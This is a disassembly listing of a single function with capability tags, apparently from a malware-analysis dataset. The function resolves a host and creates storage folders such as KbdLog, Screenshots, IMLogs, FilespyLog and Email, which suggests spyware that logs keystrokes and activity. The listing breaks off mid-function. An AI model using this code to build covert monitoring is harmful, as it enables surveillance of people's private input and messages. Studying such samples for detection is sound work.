Function at 0x50bdf0
Capabilities:
Create directory
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
mov ebx, ecx
cmp dword [ebx + 4], 0
push esi
push edi
mov dword [ebp - 4], ebx
je 0x50be0c
call fcn.0050a6f0
mov edi, dword [ebp + 8]
test edi, edi
jne 0x50be1a
mov esi, str.localhost
jmp 0x50be45
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x50be2d
xor esi, esi
jmp 0x50be45
lea esi, [eax + eax]
mov eax, esi
call fcn.00558700
mov eax, esp
push 3
push esi
push edi
push eax
call fcn.00472f50
mov esi, eax
push esi
push 0x59e648
add ebx, 0x10
push ebx
call fcn.004060d0
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00555020
mov ebx, dword [sym.imp.WS2_32.dll_gethostbyname]
add esp, 0x18
push esi
call ebx
mov edi, eax
test edi, edi
je 0x50bf8b
test esi, esi
jne 0x50be8d
xor eax, eax
jmp 0x50beb7
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebx, [eax + 1]
cmp ebx, 0x3fffffff
jle 0x50bea3
xor eax, eax
jmp 0x50beb7
lea eax, [ebx + ebx]
call fcn.00558700
mov eax, esp
push 3
push ebx
push esi
push eax
call fcn.00505ef0
push eax
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.00554e48
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x210]
add esp, 0xc
lea edx, [eax + 2]
jmp 0x50bee0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50bee0
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebx + 0xc]
call fcn.00405e50
mov edx, dword [edi + 0xc]
mov eax, dword [edx]
movzx ecx, byte [eax + 3]
movzx edx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
push edx
movzx edx, byte [eax]
push ecx
push edx
lea eax, [ebp - 0x418]
push 0x5a008c
push eax
call fcn.00555a14
mov eax, dword [ebx + 0xc]
add esp, 0x18
cmp dword [eax - 4], 1
jle 0x50bf40
mov ecx, dword [eax - 0xc]
push ecx
lea ecx, [ebx + 0xc]
call fcn.00403bd0
mov esi, dword [ebx + 0xc]
push esi
call fcn.004fb640
movzx eax, ax
add esp, 4
test ax, ax
jne 0x50bf5b
movzx eax, word [ebx + 0x2af8]
add ebx, 0x40
push ebx
push eax
lea edx, [ebp - 0x418]
push edx
call fcn.0050a720
add esp, 0xc
test eax, eax
jne 0x50c040
mov eax, 0x35
lea esp, [ebp - 0x424]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
movsx eax, byte [esi]
push eax
call fcn.0055906b
add esp, 4
test eax, eax
je 0x50c02c
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x50c02c
mov edx, dword [eax]
push edx
call ebx
mov edi, eax
test edi, edi
je 0x50c02c
mov ebx, dword [edi]
test ebx, ebx
jne 0x50bfe0
xor eax, eax
push eax
push 0x104
lea eax, [ebp - 0x210]
push eax
jmp 0x50bec4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x50c006
xor eax, eax
push eax
push 0x104
lea eax, [ebp - 0x210]
push eax
jmp 0x50bec4
lea eax, [esi + esi]
call fcn.00558700
mov eax, esp
push 3
push esi
push ebx
push eax
call fcn.00505ef0
push eax
push 0x104
lea eax, [ebp - 0x210]
push eax
jmp 0x50bec4
mov eax, 0x31
lea esp, [ebp - 0x424]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x258
mov edx, ebx
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x50c050
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c064
sub eax, edx
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c074
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c0a0
mov eax, dword [0x59e4c4]
mov dword [edi], eax
mov eax, str.Screenshots
mov esi, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c0c0
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c0d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x460
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x50c103
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c117
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c130
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c130
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c160
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c160
mov ecx, dword [0x59e4c4]
mov eax, str.USBCachedFiles
mov dword [edi], ecx
mov esi, eax
jmp 0x50c180
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c180
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c190
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x668
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x50c1c3
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c1d7
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c1f0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c1f0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c220
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c220
mov edx, dword [0x59e4c4]
mov eax, str.Sites
mov dword [edi], edx
mov esi, eax
jmp 0x50c240
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c240
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c250
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x870
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x50c283
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c297
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c2b0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c2b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c2e0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c2e0
mov eax, dword [0x59e4c4]
mov dword [edi], eax
mov eax, str.Processes
mov esi, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c300
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c310
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0xa78
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x50c343
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c357
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c370
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c370
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c3a0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c3a0
mov ecx, dword [0x59e4c4]
mov eax, str.IMLogs
mov dword [edi], ecx
mov esi, eax
jmp 0x50c3c0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c3c0
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c3d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
lea eax, [ecx + 0x50]
add ecx, 0x16a8
sub ecx, eax
movzx edx, word [eax]
mov word [ecx + eax], dx
add eax, 2
test dx, dx
jne 0x50c401
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c415
mov ebx, dword [ebp - 4]
sub eax, edx
lea edi, [ebx + 0x16a6]
jmp 0x50c430
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c430
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea edi, [ebx + 0x16a8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c460
mov edx, dword [0x59e4c4]
mov eax, str.Last
mov dword [edi], edx
mov esi, eax
jmp 0x50c480
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c480
sub eax, esi
lea edi, [ebx + 0x16a6]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c493
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebx + 0x16a8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebx + 0x50]
add ebx, 0x1090
mov ecx, ebx
sub ecx, eax
lea esp, [esp]
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c4d0
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c4e4
sub eax, edx
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c4f4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c520
mov eax, dword [0x59e4c4]
mov dword [edi], eax
mov eax, str.Activity
mov esi, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c540
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c550
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0xc80
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c583
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c597
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c5b0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c5b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c5e0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c5e0
mov ecx, dword [0x59e4c4]
mov eax, str.SELogs
mov dword [edi], ecx
mov esi, eax
jmp 0x50c600
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c600
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c610
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0xe88
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c643
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c657
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c670
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c670
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c6a0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c6a0
mov edx, dword [0x59e4c4]
mov eax, str.UsbDev
mov dword [edi], edx
mov esi, eax
jmp 0x50c6c0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c6c0
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c6d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x1298
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c703
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c717
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c730
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c730
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c760
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c760
mov eax, dword [0x59e4c4]
mov dword [edi], eax
mov eax, str.KbdLog
mov esi, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c780
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c790
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x14a0
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c7c3
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c7d7
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c7f0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c7f0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c820
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c820
mov ecx, dword [0x59e4c4]
mov eax, str.PrintersLog
mov dword [edi], ecx
mov esi, eax
jmp 0x50c840
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c840
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c850
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x18b0
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c883
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c897
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c8b0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c8b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c8e0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c8e0
mov edx, dword [0x59e4c4]
mov eax, str.FilespyLog
mov dword [edi], edx
mov esi, eax
jmp 0x50c900
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c900
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c910
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x1ab8
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50c943
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c957
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50c970
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c970
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50c9a0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50c9a0
mov eax, dword [0x59e4c4]
mov dword [edi], eax
mov eax, str.InstspyLog
mov esi, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50c9c0
sub eax, esi
lea edi, [ebx - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50c9d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp - 4]
lea eax, [ebx + 0x50]
add ebx, 0x1ec8
mov ecx, ebx
sub ecx, eax
movzx edx, word [eax]
mov word [eax + ecx], dx
add eax, 2
test dx, dx
jne 0x50ca03
mov eax, dword [ebp + 8]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x50ca17
sub eax, edx
lea edi, [ebx - 2]
jmp 0x50ca30
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x50ca30
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx - 2]
jmp 0x50ca60
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x50ca60
mov ecx, dword [0x59e4c4]
mov eax, str.Email
mov dword [edi], ecx
mov esi, eax
jmp 0x50ca80